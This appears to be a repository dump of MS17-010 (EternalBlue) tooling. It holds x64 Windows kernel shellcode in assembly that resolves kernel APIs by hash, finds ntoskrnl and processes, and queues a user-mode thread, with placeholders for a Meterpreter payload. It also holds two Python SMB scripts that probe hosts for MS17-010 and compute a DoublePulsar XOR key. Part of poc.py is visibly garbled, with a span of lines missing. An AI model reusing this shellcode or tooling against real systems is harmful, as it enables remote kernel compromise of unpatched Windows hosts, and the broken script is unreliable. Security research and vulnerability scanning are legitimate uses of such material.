| ; test rax, rax ; EAT not found 322 | ; jz _block_api_not_found 323 | %endif 324 | 325 | add rax, rdx 326 | push rax ; save EAT 327 | 328 | mov ecx, dword [rax+24] ; NumberOfFunctions 329 | mov r8d, dword [rax+32] ; FunctionNames 330 | add r8, rdx 331 | 332 | _x64_block_api_direct_get_next_func: 333 | ; When we reach the start of the EAT (we search backwards), we hang or crash 334 | dec rcx ; decrement NumberOfFunctions 335 | mov esi, dword [r8+rcx*4] ; Get rva of next module name 336 | add rsi, rdx ; Add the modules base address 337 | 338 | call x64_calc_hash 339 | 340 | cmp r9d, r11d ; Compare the hashes 341 | jnz _x64_block_api_direct_get_next_func ; try the next function 342 | 343 | 344 | _x64_block_api_direct_finish: 345 | 346 | pop rax ; restore EAT 347 | mov r8d, dword [rax+36] 348 | add r8, rdx ; ordinate table virtual address 349 | mov cx, [r8+2*rcx] ; desired functions ordinal 350 | mov r8d, dword [rax+28] ; Get the function addresses table rva 351 | add r8, rdx ; Add the modules base address 352 | mov eax, dword [r8+4*rcx] ; Get the desired functions RVA 353 | add rax, rdx ; Add the modules base address to get the functions actual VA 354 | 355 | pop rcx 356 | pop rdx 357 | pop r8 358 | pop r9 359 | pop r11 ; pop ret addr 360 | 361 | ; sub rsp, 0x20 ; shadow space 362 | push r11 ; push ret addr 363 | 364 | jmp rax 365 | 366 | 367 | x64_userland_start_thread: 368 | mov r11d, KERNEL32_DLL_HASH 369 | call x64_block_find_dll 370 | mov r15, rax 371 | 372 | xor ecx, ecx 373 | 374 | push rcx 375 | push rcx 376 | 377 | push rcx ; lpThreadId = NULL 378 | push rcx ; dwCreationFlags = 0 379 | pop r9 ; lpParameter = NULL 380 | lea r8, [rel userland_payload] ; lpStartAddr = &threadstart 381 | pop rdx ; lpThreadAttributes = NULL 382 | 383 | mov r11d, CREATETHREAD_HASH ; hash("CreateThread") 384 | call x64_block_api_direct ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL); 385 | add rsp, 48 ; RSP will be off 386 | ret 387 | 388 | threadstart: 389 | ; ret 390 | 391 | userland_payload_size: 392 | db 0x00 393 | db 0x00 394 | 395 | userland_payload: 396 | ; insert userland payload here 397 | ; such as meterpreter 398 | ; or reflective dll with the metasploit MZ pre-stub 399 | -------------------------------------------------------------------------------- /MS17-010/payloads/x64/src/kernel/calc_thread_delta.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Windows x64 Kernel Get User Thread Delta 3 | ; 4 | ; Author: Sean Dillon (@zerosum0x0) 5 | ; Copyright: (c) 2017 RiskSense, Inc. 6 | ; License: Apache 2.0 7 | ; 8 | ; Arguments: r15 = base of nt 9 | ; Clobbers: RAX, RSI 10 | ; Return: 11 | ; 12 | 13 | THREADLISTHEAD_OFFSET equ 0x308 14 | 15 | find_thread: 16 | 17 | mov rax, r15 18 | mov r11d, PSGETCURRENTPROCESS_HASH 19 | call x64_block_api_direct 20 | 21 | add rax, THREADLISTHEAD_OFFSET ; PEPROCESS->ThreadListHead 22 | mov rsi, rax 23 | 24 | mov rax, r15 25 | mov r11d, KEGETCURRENTTHREAD_HASH 26 | call x64_block_api_direct 27 | 28 | mov rcx, rsi ; save ThreadListHead 29 | 30 | __compare_threads: 31 | cmp rax, rsi 32 | ja __walk_threads 33 | lea rdx, [rax+0x500] 34 | cmp rdx, rsi 35 | jb __walk_threads 36 | sub rsi, rax 37 | jmp __calc_thread_exit 38 | 39 | __walk_threads: 40 | mov rsi, qword [rsi] ; move up the list entries 41 | cmp rsi, rcx ; make sure we exit this loop at some point 42 | jne __compare_threads 43 | 44 | __calc_thread_exit: 45 | add rsp, 0x40 46 | mov rcx, rsi 47 | -------------------------------------------------------------------------------- /MS17-010/payloads/x64/src/kernel/find_nt_idt.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Windows x64 Kernel Get NTOSKRNL.EXE Base via KPCR->IdtBase[0]->ISR 3 | ; 4 | ; Author: Sean Dillon (@zerosum0x0) 5 | ; Copyright: (c) 2017 RiskSense, Inc. 6 | ; License: Apache 2.0 7 | ; 8 | ; Arguments: None 9 | ; Clobbers: RAX, RSI 10 | ; Return: RAX will be set to the base address of ntoskrnl.exe MZ header 11 | ; 12 | 13 | find_nt_idt: 14 | mov rax, qword [gs:0x38] ; get IdtBase of KPCR 15 | mov rax, qword [rax+0x4] ; get ISR address 16 | shr rax, 0xc ; strip to page size 17 | shl rax, 0xc 18 | 19 | _find_nt_idt_walk_page: 20 | sub rax, 0x1000 ; walk along page size 21 | mov rsi, qword [rax] 22 | cmp si, 0x5a4d ; 'MZ' header 23 | jne _find_nt_idt_walk_page 24 | -------------------------------------------------------------------------------- /MS17-010/payloads/x64/src/kernel/find_process_name.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Windows x64 Kernel Find Process by Name Shellcode 3 | ; 4 | ; Author: Sean Dillon (@zerosum0x0) 5 | ; Copyright: (c) 2017 RiskSense, Inc. 6 | ; License: Apache 2.0 7 | ; 8 | ; Arguments: r10d = process hash, r15 = nt!, rdx = *PEPROCESS 9 | ; Clobbers: RAX, RCX, RDX, R8, R9, R10, R11 10 | ; 11 | 12 | [BITS 64] 13 | [ORG 0] 14 | 15 | find_process_name: 16 | xor ecx, ecx 17 | 18 | _find_process_name_loop_pid: 19 | add cx, 0x4 20 | cmp ecx, 0x10000 21 | jge kernel_exit 22 | 23 | push rdx 24 | ; rcx = PID 25 | ; rdx = *PEPROCESS 26 | mov r11d, PSLOOKUPPROCESSBYPROCESSID_HASH 27 | call block_api_direct 28 | add rsp, 0x20 29 | 30 | test rax, rax ; see if STATUS_SUCCESS 31 | jnz _find_process_name_loop_pid 32 | 33 | 34 | pop rdx 35 | mov rcx, dword [rdx] ; *rcx = *PEPROCESS 36 | 37 | push rcx 38 | mov r11d, PSGETPROCESSIMAGEFILENAME_HASH 39 | call block_api_direct 40 | add rsp, 0x20 41 | pop rcx 42 | 43 | mov rsi, rax 44 | call calc_hash 45 | 46 | cmp r9d, r10d 47 | jne _find_process_name_loop_pid 48 | -------------------------------------------------------------------------------- /MS17-010/payloads/x64/src/kernel/insert_queue_apc.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Windows x64 Kernel Ring 0 to Ring 3 via Insert Queue APC Shellcode 3 | ; 4 | ; Author: Sean Dillon (@zerosum0x0) 5 | ; License: MSF License 6 | ; 7 | ; Acknowledgements: Stephen Fewer, skape, Equation Group 8 | ; 9 | 10 | [BITS 64] 11 | [ORG 0] 12 | 13 | PSGETCURRENTPROCESS_HASH equ 0x8f8f1b7e ; hash("PsGetCurrentProcess") 14 | PSLOOKUPPROCESSBYID_HASH equ 0xa194b248 ; hash("PsLookupProcessById") 15 | PSGETPROCESSIMAGEFILENAME_HASH equ 0x8be7eeec ; hash("PsGetProcessImageFileName") 16 | KEGETCURRENTPROCESS_HASH equ 0x8e4f1b0e ; hash("KeGetCurrentProcess") 17 | KEGETCURRENTTHREAD_HASH equ 0xe932d23c ; hash("KeGetCurrentThread") 18 | KEINITIALIZEAPC_HASH equ 0x2b988da3 ; hash("KeInitializeApc") 19 | KEINSERTQUEUEAPC_HASH equ 0x88c695f9 ; hash("KeInsertQueueApc") 20 | ZWALLOCATEMEMORY_HASH equ 0xe18775c7 ; hash("ZwAllocateMemory") 21 | EXALLOCATEPOOL_HASH equ 0x3707e062 ; hash("ExAllocatePool") 22 | OBFDEREFERENCEOBJECT_HASH equ 0x32c5ddf6 ; hash("ObfDereferenceObject") 23 | 24 | ; cld 25 | 26 | push rsp 27 | and sp, 0xFFF0 ; align stack 28 | push rsi ; save clobbered registers 29 | push r14 ; r14 will store ntoskernl.exe 30 | 31 | jmp inject_start ; proceed past helper functions 32 | 33 | %include "./src/kernel/call_kernel_api.asm" 34 | 35 | inject_start: 36 | 37 | 38 | %include "./src/kernel/find_nt_idt.asm" ; this stub loads ntoskrnl.exe into rax 39 | 40 | mov r14, rax 41 | mov r11d, PSGETCURRENTPROCESS_HASH 42 | call kernel_api_call 43 | mov r13, rax 44 | 45 | mov rax, r14 46 | mov r11d, KEGETCURRENTTHREAD_HASH 47 | call kernel_api_call 48 | mov r12, rax 49 | 50 | inject_end: 51 | 52 | pop r14 53 | pop rsi ; restore clobbered registers and return 54 | pop rsp 55 | ret 56 | 57 | userland_start: 58 | 59 | %include "./src/single/createthread.asm" 60 | 61 | userland_payload: 62 | ; insert user land payload here 63 | ; such as meterpreter 64 | ; or reflective dll with the metasploit MZ pre-stub 65 | -------------------------------------------------------------------------------- /MS17-010/payloads/x64/src/single/calc_hash.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Windows x64 Calculate Hash 3 | ; 4 | ; Arguments: RSI = string to hash 5 | ; Clobbers: RAX, RSI, r9 6 | ; Return: r9d = hash 7 | ; 8 | 9 | calc_hash: 10 | xor r9, r9 11 | 12 | _calc_hash_loop: 13 | xor eax, eax 14 | lodsb ; Read in the next byte of the ASCII function name 15 | ror r9d, 13 ; Rotate right our hash value 16 | cmp al, 'a' 17 | jl _calc_hash_not_lowercase 18 | sub al, 0x20 ; If so normalise to uppercase 19 | _calc_hash_not_lowercase: 20 | add r9d, eax ; Add the next byte of the name 21 | cmp al, ah ; Compare AL to AH (\0) 22 | jne _calc_hash_loop 23 | 24 | ret 25 | -------------------------------------------------------------------------------- /MS17-010/payloads/x64/src/single/createthread.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Windows x64 CreateThread Stage Shellcode 3 | ; 4 | ; Author: Sean Dillon (@zerosum0x0) 5 | ; Copyright: (c) 2017 RiskSense, Inc. 6 | ; License: Apache 2.0 7 | ; 8 | ; Arguments: None 9 | ; Clobbers: RAX, RCX, RDX, R8, R9, R10, R11 10 | ; Notes: Append payload to run in a separate thread to end of this stub. 11 | ; 12 | 13 | [BITS 64] 14 | [ORG 0] 15 | 16 | cld 17 | jmp start 18 | 19 | start: 20 | 21 | mov r11d, 0x92AF16DA ; KERNEL32_DLL_HASH 22 | call block_find_dll 23 | mov r15, rax 24 | 25 | xor ecx, ecx 26 | 27 | push rcx 28 | push rcx 29 | 30 | push rcx ; lpThreadId = NULL 31 | push rcx ; dwCreationFlags = 0 32 | pop r9 ; lpParameter = NULL 33 | lea r8, [rel threadstart] ; lpStartAddr = &threadstart 34 | pop rdx ; lpThreadAttributes = NULL 35 | 36 | mov r11d, 0x221b4546 ; hash( "kernel32.dll", "CreateThread" ) 37 | call block_api_direct ; CreateThread( NULL, 0, &threadstart, NULL, 0, NULL ); 38 | add rsp, 48 ; RSP will be off by -40 after each call to block_api 39 | ret 40 | 41 | threadstart: 42 | ; ret 43 | -------------------------------------------------------------------------------- /MS17-010/poc.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | 3 | from ctypes import * 4 | import socket 5 | import struct 6 | import logging 7 | 8 | logging.basicConfig(level=logging.INFO, format="%(message)s") 9 | log = logging.getLogger(__file__) 10 | 11 | 12 | #定义SMB_HEADER结构 13 | class SMB_HEADER(Structure) : 14 | 15 | _pack_ = 1 # Alignment 16 | 17 | _fields_ = [ 18 | ("server_component", c_uint32), 19 | ("smb_command", c_uint8), 20 | ("error_class", c_uint8), 21 | ("reserved1", c_uint8), 22 | ("error_code", c_uint16), 23 | ("flags", c_uint8), 24 | ("flags2", c_uint16), 25 | ("process_id_high", c_uint16), 26 | ("signature", c_uint64), 27 | ("reserved2", c_uint16), 28 | ("tree_id", c_uint16), 29 | ("process_id", c_uint16), 30 | ("user_id", c_uint16), 31 | ("multiplex_id", c_uint16) 32 | ] 33 | 34 | def __new__(self, buffer=None): 35 | return self.from_buffer_copy(buffer) 36 | 37 | def __init__(self, buffer): 38 | log.debug("server_component : %04x" % self.server_component) 39 | log.debug("smb_command : %01x" % self.smb_command) 40 | log.debug("error_class : %01x" % self.error_class) 41 | log.debug("error_code : %02x" % self.error_code) 42 | log.debug("flags : %01x" % self.flags) 43 | log.debug("flags2 : %02x" % self.flags2) 44 | log.debug("process_id_high : %02x" % self.process_id_high) 45 | log.debug("signature : %08x" % self.signature) 46 | log.debug("reserved2 : %02x" % self.reserved2) 47 | log.debug("tree_id : %02x" % self.tree_id) 48 | log.debug("process_id : %02x" % self.process_id) 49 | log.debug("user_id : %02x" % self.user_id) 50 | log.debug("multiplex_id : %02x" % self.multiplex_id) 51 | 52 | 53 | #组建SMB请求包 54 | def generate_smb_proto_payload(*protos): 55 | """Generate SMB Protocol. Pakcet protos in order. 56 | """ 57 | hexdata = [] 58 | for proto in protos: 59 | hexdata.extend(proto) 60 | return "".join(hexdata) 61 | 62 | 63 | #计算KEY 64 | def calculate_doublepulsar_xor_key(s) : 65 | 66 | x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))) 67 | x = x & 0xffffffff # this line was added just to truncate to 32 bits 68 | return x 69 | 70 | 71 | #Negotiate Protocol请求包结构 72 | def negotiate_proto_request() : 73 | 74 | log.debug("generate negotiate request") 75 | netbios = [ 76 | '\x00', # 'Message_Type' 77 | '\x00\x00\x54' # 'Length' 78 | ] 79 | 80 | smb_header = [ 81 | '\xFF\x53\x4D\x42', # 'server_component': .SMB 82 | '\x72', # 'smb_command': Negotiate Protocol 83 | '\x00\x00\x00\x00', # 'nt_status' 84 | '\x18', # 'flags' 85 | '\x01\x28', # 'flags2' 86 | '\x00\x00', # 'process_id_high' 87 | '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature' 88 | '\x00\x00', # 'reserved' 89 | '\x00\x00', # 'tree_id' 90 | '\x2F\x4B', # 'process_id' : 19427 91 | '\x00\x00', # 'user_id' 92 | '\xC5\x5E' # 'multiplex_id' : 24261 93 | ] 94 | 95 | negotiate_proto_request = [ 96 | '\x00', # 'word_count' 97 | '\x31\x00', # 'byte_count' 98 | 99 | # Requested Dialects 100 | '\x02', # 'dialet_buffer_format' 101 | '\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00', # 'dialet_name': LANMAN1.0 102 | 103 | '\x02', # 'dialet_buffer_format' 104 | '\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00', # 'dialet_name': LM1.2X002 105 | 106 | '\x02', # 'dialet_buffer_format' 107 | '\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00', # 'dialet_name3': NT LANMAN 1.0 108 | 109 | '\x02', # 'dialet_buffer_format' 110 | '\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00' # 'dialet_name4': NT LM 0.12 111 | ] 112 | 113 | return generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request) 114 | 115 | 116 | #Session Setup AndX请求包结构 117 | def session_setup_andx_request() : 118 | 119 | log.debug("generate session setup andx request") 120 | netbios = [ 121 | '\x00', # 'Message_Type' 122 | '\x00\x00\x63' # 'Length' 123 | ] 124 | 125 | smb_header = [ 126 | '\xFF\x53\x4D\x42', # 'server_component': .SMB 127 | '\x73', # 'smb_command': Session Setup AndX 128 | '\x00\x00\x00\x00', # 'nt_status' 129 | '\x18', # 'flags' 130 | '\x01\x20', # 'flags2' 131 | '\x00\x00', # 'process_id_high' 132 | '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature' 133 | '\x00\x00', # 'reserved' 134 | '\x00\x00', # 'tree_id' 135 | '\x2F\x4B', # 'process_id' 136 | '\x00\x00', # 'user_id' 137 | '\xC5\x5E' # 'multiplex_id' 138 | ] 139 | 140 | session_setup_andx_request = [ 141 | '\x0D', # Word Count 142 | '\xFF', # AndXCommand: No further command 143 | '\x00', # Reserved 144 | '\x00\x00', # AndXOffset 145 | '\xDF\xFF', # Max Buffer 146 | '\x02\x00', # Max Mpx Count 147 | '\x01\x00', # VC Number 148 | '\x00\x00\x00\x00', # Session Key 149 | '\x00\x00', # ANSI Password Length 150 | '\x00\x00', # Unicode Password Length 151 | '\x00\x00\x00\x00', # Reserved 152 | '\x40\x00\x00\x00', # Capabilities 153 | '\x26\x00', # Byte Count 154 | '\x00', # Account 155 | '\x2e\x00', # Primary Domain 156 | '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00', # Native OS: Windows 2000 2195 157 | '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00', # Native OS: Windows 2000 5.0 158 | ] 159 | 160 | return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request) 161 | 162 | 163 | #Tree Connect Andx请求包结构 164 | def tree_connect_andx_request(ip, userid) : 165 | 166 | log.debug("generate tree connect andx request") 167 | 168 | netbios = [ 169 | '\x00', # 'Message_Type' 170 | '\x00\x00\x47' # 'Length' 171 | ] 172 | 173 | smb_header = [ 174 | '\xFF\x53\x4D\x42', # 'server_component': .SMB 175 | '\x75', # 'smb_command': Tree Connect AndX 176 | '\x00\x00\x00\x00', # 'nt_status' 177 | '\x18', # 'flags' 178 | '\x01\x20', # 'flags2' 179 | '\x00\x00', # 'process_id_high' 180 | '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature' 181 | '\x00\x00', # 'reserved' 182 | '\x00\x00', # 'tree_id' 183 | '\x2F\x4B', # 'process_id' 184 | userid, # 'user_id' 185 | '\xC5\x5E' # 'multiplex_id' 186 | ] 187 | 188 | ipc = "\\\\{}\IPC$\x00".format(ip) 189 | log.debug("Connecting to {} with UID = {}".format(ipc, userid)) 190 | 191 | tree_connect_andx_request = [ 192 | '\x04', # Word Count 193 | '\xFF', # AndXCommand: No further commands 194 | '\x00', # Reserved 195 | '\x00\x00', # AndXOffset 196 | '\x00\x00', # Flags 197 | '\x01\x00', # Password Length 198 | '\x1C\x00', # Byte Count 199 | '\x00', # Password 200 | ipc.encode(), # \\xxx.xxx.xxx.xxx\IPC$ 201 | '\x3f\x3f\x3f\x3f\x3f\x00' # Service 202 | ] 203 | 204 | length = len("".join(smb_header)) + len("".join(tree_connect_andx_request)) 205 | # netbios[1] = '\x00' + struct.pack('>H', length) 206 | netbios[1] = struct.pack(">L", length)[-3:] #重新计算SMB包大小 207 | 208 | return generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request) 209 | 210 | 211 | #Trans请求包结构 212 | def peeknamedpipe_request(treeid, processid, userid, multiplex_id) : 213 | 214 | log.debug("generate peeknamedpipe request") 215 | netbios = [ 216 | '\x00', # 'Message_Type' 217 | '\x00\x00\x4a' # 'Length' 218 | ] 219 | 220 | smb_header = [ 221 | '\xFF\x53\x4D\x42', # 'server_component': .SMB 222 | '\x25', # 'smb_command': Trans2 223 | '\x00\x00\x00\x00', # 'nt_status' 224 | '\x18', # 'flags' 225 | '\x01\x28', # 'flags2' 226 | '\x00\x00', # 'process_id_high' 227 | '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature' 228 | '\x00\x00', # 'reserved' 229 | treeid, 230 | processid, 231 | userid, 232 | multiplex_id 233 | ] 234 | 235 | tran_request = [ 236 | '\x10', # Word Count 237 | '\x00\x00', # Total Parameter Count 238 | '\x00\x00', # Total Data Count 239 | '\xff\xff', # Max Parameter Count 240 | '\xff\xff', # Max Data Count 241 | '\x00', # Max Setup Count 242 | '\x00', # Reserved 243 | '\x00\x00', # Flags 244 | '\x00\x00\x00\x00', # Timeout: Return immediately 245 | '\x00\x00', # Reversed 246 | '\x00\x00', # Parameter Count 247 | '\x4a\x00', # Parameter Offset 248 | '\x00\x00', # Data Count 249 | '\x4a\x00', # Data Offset 250 | '\x02', # Setup Count 251 | '\x00', # Reversed 252 | '\x23\x00', # SMB Pipe Protocol: Function: PeekNamedPipe (0x0023) 253 | '\x00\x00', # SMB Pipe Protocol: FID 254 | '\x07\x00', 255 | '\x5c\x50\x49\x50\x45\x5c\x00' # \PIPE\ 256 | ] 257 | 258 | return generate_smb_proto_payload(netbios, smb_header, tran_request) 259 | 260 | 261 | #Trans2请求包结构 262 | def trans2_request(treeid, processid, userid, multiplex_id) : 263 | 264 | log.debug("generate tran2 request") 265 | netbios = [ 266 | '\x00', # 'Message_Type' 267 | '\x00\x00\x4f' # 'Length' 268 | ] 269 | 270 | smb_header = [ 271 | '\xFF\x53\x4D\x42', # 'server_component': .SMB 272 | '\x32', # 'smb_command': Trans2 273 | '\x00\x00\x00\x00', # 'nt_status' 274 | '\x18', # 'flags' 275 | '\x07\xc0', # 'flags2' 276 | '\x00\x00', # 'process_id_high' 277 | '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature' 278 | '\x00\x00', # 'reserved' 279 | treeid, 280 | processid, 281 | userid, 282 | multiplex_id 283 | ] 284 | 285 | trans2_request = [ 286 | '\x0f', # Word Count 287 | '\x0c\x00', # Total Parameter Count 288 | '\x00\x00', # Total Data Count 289 | '\x01\x00', # Max Parameter Count 290 | '\x00\x00', # Max Data Count 291 | '\x00', # Max Setup Count 292 | '\x00', # Reserved 293 | '\x00\x00', # Flags 294 | '\xa6\xd9\xa4\x00', # Timeout: 3 hours, 3.622 seconds 295 | '\x00\x00', # Reversed 296 | '\x0c\x00', # Parameter Count 297 | '\x42\x00', # Parameter Offset 298 | '\x00\x00', # Data Count 299 | '\x4e\x00', # Data Offset 300 | '\x01', # Setup Count 301 | '\x00', # Reserved 302 | '\x0e\x00', # subcommand: SESSION_SETUP 303 | '\x00\x00', # Byte Count 304 | '\x0c\x00' + '\x00' * 12 305 | ] 306 | 307 | return generate_smb_proto_payload(netbios, smb_header, trans2_request) 308 | 309 | 310 | #主函数 311 | def check(ip, port=445) : 312 | 313 | try: 314 | buffersize = 1024 315 | timeout = 5.0 316 | 317 | #创建socket 318 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 319 | client.settimeout(timeout) 320 | client.connect((ip, port)) 321 | 322 | #发送SMB的Negotiate Protocol请求包 323 | raw_proto = negotiate_proto_request() 324 | client.send(raw_proto) 325 | tcp_response = client.recv(buffersize) 326 | 327 | #发送SMB的Session Setup AndX请求包 328 | raw_proto = session_setup_andx_request() 329 | client.send(raw_proto) 330 | tcp_response = client.recv(buffersize) 331 | 332 | netbios = tcp_response[:4] 333 | smb_header = tcp_response[4:36] #SMB头大小为32字节 334 | smb = SMB_HEADER(smb_header) 335 | 336 | user_id = struct.pack('".format(sys.argv[0])) 405 | sys.exit(1) 406 | else: 407 | check(sys.argv[1]) 408 | -------------------------------------------------------------------------------- /MS17-010/scanners/smb_ms17_010.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | # 5 | # Written by nixawk based on auxiliary/scanner/smb/smb_ms17_010 Metasploit module 6 | # 7 | 8 | """ 9 | $ python2.7 smb_exploit.py 192.168.206.152 10 | [+] [192.168.206.152] is likely VULNERABLE to MS17-010! (Windows 7 Ultimate 7600) 11 | 12 | $ python2.7 smb_exploit.py 192.168.206.130 13 | [+] [192.168.206.130] is likely VULNERABLE to MS17-010! (Windows 5.1) 14 | """ 15 | 16 | from ctypes import * 17 | import socket 18 | import struct 19 | import logging 20 | 21 | 22 | logging.basicConfig(level=logging.INFO, format="%(message)s") 23 | log = logging.getLogger(__file__) 24 | 25 | # negotiate_proto_request 26 | # session_setup_andx_request 27 | # tree_connect_andx_request 28 | # peeknamedpipe_request 29 | # trans2 request 30 | 31 | 32 | class SMB_HEADER(Structure): 33 | """SMB Header decoder. 34 | """ 35 | 36 | _pack_ = 1 # Alignment 37 | 38 | _fields_ = [ 39 | ("server_component", c_uint32), 40 | ("smb_command", c_uint8), 41 | ("error_class", c_uint8), 42 | ("reserved1", c_uint8), 43 | ("error_code", c_uint16), 44 | ("flags", c_uint8), 45 | ("flags2", c_uint16), 46 | ("process_id_high", c_uint16), 47 | ("signature", c_uint64), 48 | ("reserved2", c_uint16), 49 | ("tree_id", c_uint16), 50 | ("process_id", c_uint16), 51 | ("user_id", c_uint16), 52 | ("multiplex_id", c_uint16) 53 | ] 54 | 55 | def __new__(self, buffer=None): 56 | return self.from_buffer_copy(buffer) 57 | 58 | def __init__(self, buffer): 59 | log.debug("server_component : %04x" % self.server_component) 60 | log.debug("smb_command : %01x" % self.smb_command) 61 | log.debug("error_class : %01x" % self.error_class) 62 | log.debug("error_code : %02x" % self.error_code) 63 | log.debug("flags : %01x" % self.flags) 64 | log.debug("flags2 : %02x" % self.flags2) 65 | log.debug("process_id_high : %02x" % self.process_id_high) 66 | log.debug("signature : %08x" % self.signature) 67 | log.debug("reserved2 : %02x" % self.reserved2) 68 | log.debug("tree_id : %02x" % self.tree_id) 69 | log.debug("process_id : %02x" % self.process_id) 70 | log.debug("user_id : %02x" % self.user_id) 71 | log.debug("multiplex_id : %02x" % self.multiplex_id) 72 | 73 | 74 | def generate_smb_proto_payload(*protos): 75 | """Generate SMB Protocol. Pakcet protos in order. 76 | """ 77 | hexdata = [] 78 | for proto in protos: 79 | hexdata.extend(proto) 80 | return "".join(hexdata) 81 | 82 | 83 | def calculate_doublepulsar_xor_key(s): 84 | """Calaculate Doublepulsar Xor Key 85 | """ 86 | x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))) 87 | x = x & 0xffffffff # this line was added just to truncate to 32 bits 88 | return x 89 | 90 | 91 | def negotiate_proto_request(): 92 | """Generate a negotiate_proto_request packet. 93 | """ 94 | log.debug("generate negotiate request") 95 | netbios = [ 96 | '\x00', # 'Message_Type' 97 | '\x00\x00\x54' # 'Length' 98 | ] 99 | 100 | smb_header = [ 101 | '\xFF\x53\x4D\x42', # 'server_component': .SMB 102 | '\x72', # 'smb_command': Negotiate Protocol 103 | '\x00\x00\x00\x00', # 'nt_status' 104 | '\x18', # 'flags' 105 | '\x01\x28', # 'flags2' 106 | '\x00\x00', # 'process_id_high' 107 | '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature' 108 | '\x00\x00', # 'reserved' 109 | '\x00\x00', # 'tree_id' 110 | '\x2F\x4B', # 'process_id' 111 | '\x00\x00', # 'user_id' 112 | '\xC5\x5E' # 'multiplex_id' 113 | ] 114 | 115 | negotiate_proto_request = [ 116 | '\x00', # 'word_count' 117 | '\x31\x00', # 'byte_count' 118 | 119 | # Requested Dialects 120 | '\x02', # 'dialet_buffer_format' 121 | '\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00', # 'dialet_name': LANMAN1.0 122 | 123 | '\x02', # 'dialet_buffer_format' 124 | '\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00', # 'dialet_name': LM1.2X002 125 | 126 | '\x02', # 'dialet_buffer_format' 127 | '\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00', # 'dialet_name3': NT LANMAN 1.0 128 | 129 | '\x02', # 'dialet_buffer_format' 130 | '\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00' # 'dialet_name4': NT LM 0.12 131 | ] 132 | 133 | return generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request) 134 | 135 | 136 | def session_setup_andx_request(): 137 | """Generate session setuo andx request. 138 | """ 139 | log.debug("generate session setup andx request") 140 | netbios = [ 141 | '\x00', # 'Message_Type' 142 | '\x00\x00\x63' # 'Length' 143 | ] 144 | 145 | smb_header = [ 146 | '\xFF\x53\x4D\x42', # 'server_component': .SMB 147 | '\x73', # 'smb_command': Session Setup AndX 148 | '\x00\x00\x00\x00', # 'nt_status' 149 | '\x18', # 'flags' 150 | '\x01\x20', # 'flags2' 151 | '\x00\x00', # 'process_id_high' 152 | '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature' 153 | '\x00\x00', # 'reserved' 154 | '\x00\x00', # 'tree_id' 155 | '\x2F\x4B', # 'process_id' 156 | '\x00\x00', # 'user_id' 157 | '\xC5\x5E' # 'multiplex_id' 158 | ] 159 | 160 | session_setup_andx_request = [ 161 | '\x0D', # Word Count 162 | '\xFF', # AndXCommand: No further command 163 | '\x00', # Reserved 164 | '\x00\x00', # AndXOffset 165 | '\xDF\xFF', # Max Buffer 166 | '\x02\x00', # Max Mpx Count 167 | '\x01\x00', # VC Number 168 | '\x00\x00\x00\x00', # Session Key 169 | '\x00\x00', # ANSI Password Length 170 | '\x00\x00', # Unicode Password Length 171 | '\x00\x00\x00\x00', # Reserved 172 | '\x40\x00\x00\x00', # Capabilities 173 | '\x26\x00', # Byte Count 174 | '\x00', # Account 175 | '\x2e\x00', # Primary Domain 176 | '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00', # Native OS: Windows 2000 2195 177 | '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00', # Native OS: Windows 2000 5.0 178 | ] 179 | 180 | return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request) 181 | 182 | 183 | def tree_connect_andx_request(ip, userid): 184 | """Generate tree connect andx request. 185 | """ 186 | log.debug("generate tree connect andx request") 187 | 188 | netbios = [ 189 | '\x00', # 'Message_Type' 190 | '\x00\x00\x47' # 'Length' 191 | ] 192 | 193 | smb_header = [ 194 | '\xFF\x53\x4D\x42', # 'server_component': .SMB 195 | '\x75', # 'smb_command': Tree Connect AndX 196 | '\x00\x00\x00\x00', # 'nt_status' 197 | '\x18', # 'flags' 198 | '\x01\x20', # 'flags2' 199 | '\x00\x00', # 'process_id_high' 200 | '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature' 201 | '\x00\x00', # 'reserved' 202 | '\x00\x00', # 'tree_id' 203 | '\x2F\x4B', # 'process_id' 204 | userid, # 'user_id' 205 | '\xC5\x5E' # 'multiplex_id' 206 | ] 207 | 208 | ipc = "\\\\{}\IPC$\x00".format(ip) 209 | log.debug("Connecting to {} with UID = {}".format(ipc, userid)) 210 | 211 | 